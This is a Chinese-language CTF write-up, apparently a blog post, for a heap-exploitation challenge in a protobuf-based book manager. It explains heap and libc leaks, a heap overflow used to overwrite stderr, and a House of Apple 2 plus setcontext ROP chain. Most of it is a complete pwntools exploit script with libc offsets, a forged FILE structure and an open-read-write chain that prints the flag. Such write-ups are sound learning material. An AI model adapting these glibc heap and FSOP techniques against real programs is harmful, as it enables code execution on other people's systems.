add会对输入的数据首先进行base32解码，然后protobuf反序列化，然后对前四个字段进行base64解码

可以直接从free掉的chunk得到从而利用残留的，bookstruct在的结构体size为0x40，然后剩余四个chunk是0x20
刚开始就存在巨多chunk, 泄露堆地址，申请两次，第7个0x20的chunk的fd部分仅仅是next部分所在的地址右移12位置，然后可以通过tcachebin泄露heap地址

申请第八个0x20的chunk会导致其到fastbin寻找，然后找到后会将fastbin的chunk放到tcache中
然后泄露libc基地址，虽然有很多无用的已经free掉的chunk干扰，但我们可以使得要构造的堆布局的大小不符合已经free的chunk就行，至于一些不会用到的堆布局的堆，我们让他依然来自bin就行了

我们要使得分配到一个非tcache大小的chunk，然后不是来自bin中的，然后free后能够进入unsortedbin，再通过溢出填充然后能够泄露，接下来分配book_struct不会来自bin中，由于是通过内容溢出，所以内容的chunk也要不来自bin，连着两个就可以实现第一个的内容溢出到第二个的内容
实现任意地址写，覆盖写一个book_struct结构的某个字段地址为sderr，然后可以写stderr的内容，依然是需要一个book_struct结构chunk和一个内容chunk和下一个book_struct

在这里插入图片描述
由于0x40会从free中的chunk分裂，所以得把他们全部消掉才行（保证没有大于0x40的就行）,从smallbin消掉，然后此时再分配的会从之前free的0x500chunk分裂开，这样也可以溢出到修改book_struct写入stderr从而修改stderr

house of apple 2 +setcontext+orw读取flag,由于最后执行篡改后的vtable中的函数时rdi是stderr，而rdx是wide_data，构造wide_data+0xa0为wide_data上rop链部分的位置，wide_data+0xa8为ret

这里还需要write_ptr不为零好像
在这里插入图片描述

.text:00000000000580DD                 mov     rsp, [rdx+0A0h]
.text:00000000000580E4                 mov     rbx, [rdx+80h]
.text:00000000000580EB                 mov     rbp, [rdx+78h]
.text:00000000000580EF                 mov     r12, [rdx+48h]
.text:00000000000580F3                 mov     r13, [rdx+50h]
.text:00000000000580F7                 mov     r14, [rdx+58h]
.text:00000000000580FB                 mov     r15, [rdx+60h]
.text:00000000000580FF                 test    dword ptr fs:48h, 2
    ....
.text:00000000000581C6                 mov     rcx, [rdx+0A8h]
.text:00000000000581CD                 push    rcx
.text:00000000000581CE                 mov     rsi, [rdx+70h]
.text:00000000000581D2                 mov     rdi, [rdx+68h]
.text:00000000000581D6                 mov     rcx, [rdx+98h]
.text:00000000000581DD                 mov     r8, [rdx+28h]
.text:00000000000581E1                 mov     r9, [rdx+30h]
.text:00000000000581E5                 mov     rdx, [rdx+88h]
.text:00000000000581EC                 xor     eax, eax
.text:00000000000581EE                 retn

在这里插入图片描述

exp

from pwn import *
import base64
import bookProto_pb2
context(arch="amd64",os="linux")
p=process("./pwn")
libc=ELF("./libc.so.6")
def prepare(title,author,isbn,publish_date,price,stock):
    book=bookProto_pb2.CTFBook()
    book.title=base64.b64encode(title)
    book.author=base64.b64encode(author)
    book.isbn=base64.b64encode(isbn)
    book.publish_date=base64.b64encode(publish_date)
    book.price=price
    book.stock=stock
    pack=book.SerializeToString()
    return pack

def buy(idx,title,author,isbn,publish_date,price,stock):
    p.sendlineafter(b"Enter your choice > ",b"1")
    p.sendlineafter(b"Index: ",str(idx))
    p.sendlineafter(b"Special Data: ", base64.b32encode(prepare(title,author,isbn,publish_date,price,stock)))
    

def see(idx):
    p.sendlineafter(b"Enter your choice > ",b"2")
    p.sendlineafter(b"Index: ",str(idx))

def dele(idx):
    p.sendlineafter(b"Enter your choice > ",b"3")
    p.sendlineafter(b"Index: ",str(idx))

def edit(idx,title,author,isbn,publish_date,price,stock):
    p.sendlineafter(b"Enter your choice > ",b"4")
    p.sendlineafter(b"Index: ",str(idx))
    p.sendlineafter(b"Special Data: ", base64.b32encode(prepare(title,author,isbn,publish_date,price,stock)))


buy(0,b"00000001",b"00000002",b"00000003",b"00000004",1.1,1)
buy(1,b'11111111',b'11111112',b'',b'11111114',1,1)
# 第1个book_struct 的第三个字段是fastbin中0x20大小最后一个chunk，此时泄漏fd，可以得到heap地址
see(1)
p.recvuntil(b'ISBN: ')
heap=u64(p.recv(5).ljust(8,b"\x00"))
heap=heap<<12
print("heap",hex(heap))

buy(2,b"2"*0x20,b"",b"",b"",1,1)
buy(3,b"3"*0x4f0,b"",b"",b"",1,1)
# largechunk会触发合并fastbin合并到unsortedbin,然后再到unsortedbin寻找的过程中分配到smallbin

buy(4,b"4"*0x200,b"",b"",b"",1,1)#防止free3和topchunk合并,由于此时0x20和0x40的堆在bin中已经有了，我们需要找个不来自bin的才行,并且也不能是被分割的
dele(3) 
edit(2,b"2"*0x70,b"",b"",b"",1,1)
see(2)
p.recvuntil(b'2'*0x70)
libc.address=u64(p.recv(6).ljust(8,b"\x00"))-0x21ace0
print("libc",hex(libc.address))   
edit(2,b"2"*0x20+p64(0)+p64(0x41)+b"3"*0x30+p64(0)+p64(0x501),b"",b"",b"",1,1) #恢复原来被覆盖的部分



buy(5,b"5"*0x50,b"5"*0x50,b"5"*0x50,b"5"*0xd0,1,1)
buy(6,b"5"*0x150,b"5"*0x150,b"5"*0x150,b"5"*0x160,1,1)
buy(7,b"5"*0x30,b"5"*0x10,b"5"*0x10,b"5"*0x10,1,1)

rdi=0x2a3e5+libc.address
rsi=libc.address+0x2be51
rdx_r12=libc.address+0x11f2e7
syscall=libc.address+0x1147e0
rax=libc.address+0x45eb0
ret=libc.address+0x29139
ret=libc.address+0x29139
wide_data_chunk=heap+0x1ed0
stderr=libc.address+0x21b6a0
_IO_wfile_jumps=libc.address+0x2170c0
vatabl=heap+0x1ed0+0xe8 
#+0x68

wide_data=b"\x00"
wide_data=wide_data.ljust(0x18,b"\x00")
wide_data+=p64(0)
wide_data=wide_data.ljust(0x30,b"\x00")
wide_data+=p64(0)
wide_data=wide_data.ljust(0xa0,b"\x00")
wide_data+=p64(wide_data_chunk+0x210)+p64(ret)

wide_data=wide_data.ljust(0xe0,b"\x00")
wide_data+=p64(vatabl)
wide_data=wide_data.ljust(0x150,b"\x00")
wide_data+=p64(libc.address+0x53a1d) #setcontext
wide_data=wide_data.ljust(0x200,b"\x00")

wide_data+=b'./flag\x00\x00'+p64(0)+p64(rdi)+p64(wide_data_chunk+0x200)+p64(rsi)+p64(0)+p64(rax)+p64(2)+p64(syscall)
wide_data+=p64(rdi)+p64(3)+p64(rsi)+p64(heap)+p64(rdx_r12)+p64(0x30)+p64(0)+p64(rax)+p64(0)+p64(syscall)
wide_data+=p64(rdi)+p64(1)+p64(rsi)+p64(heap)+p64(rdx_r12)+p64(0x30)+p64(0)+p64(rax)+p64(1)+p64(syscall)+p64(rdi)+p64(0)+p64(rax)+p64(0x3c)+p64(syscall)

wide_data=wide_data.ljust(0x500,b"\x00") #使得大小能分配一个不是从bin中来的


buy(8,wide_data,b"",b"",b"",1,1) #分裂largechunk


print("stderr",hex(stderr))
edit(2,b"2"*0x70+p64(stderr),b"",b"",b"",1,1) #写入stderr

fake_stderr=p64((~(0x2|0x8|0x800))&0xffffffffffffffff)+p64(0)+p64(0)*3+p64(1) #writeptr
fake_stderr=fake_stderr.ljust(0xa0,b"\x00")
fake_stderr+=p64(wide_data_chunk)
fake_stderr=fake_stderr.ljust(0xd8,b"\x00")
fake_stderr+=p64(_IO_wfile_jumps)
edit(8,fake_stderr,b"",b"",b"",1,1)



gdb.attach(p)
pause()
p.sendlineafter(b'Enter your choice > ',b'6')

p.interactive()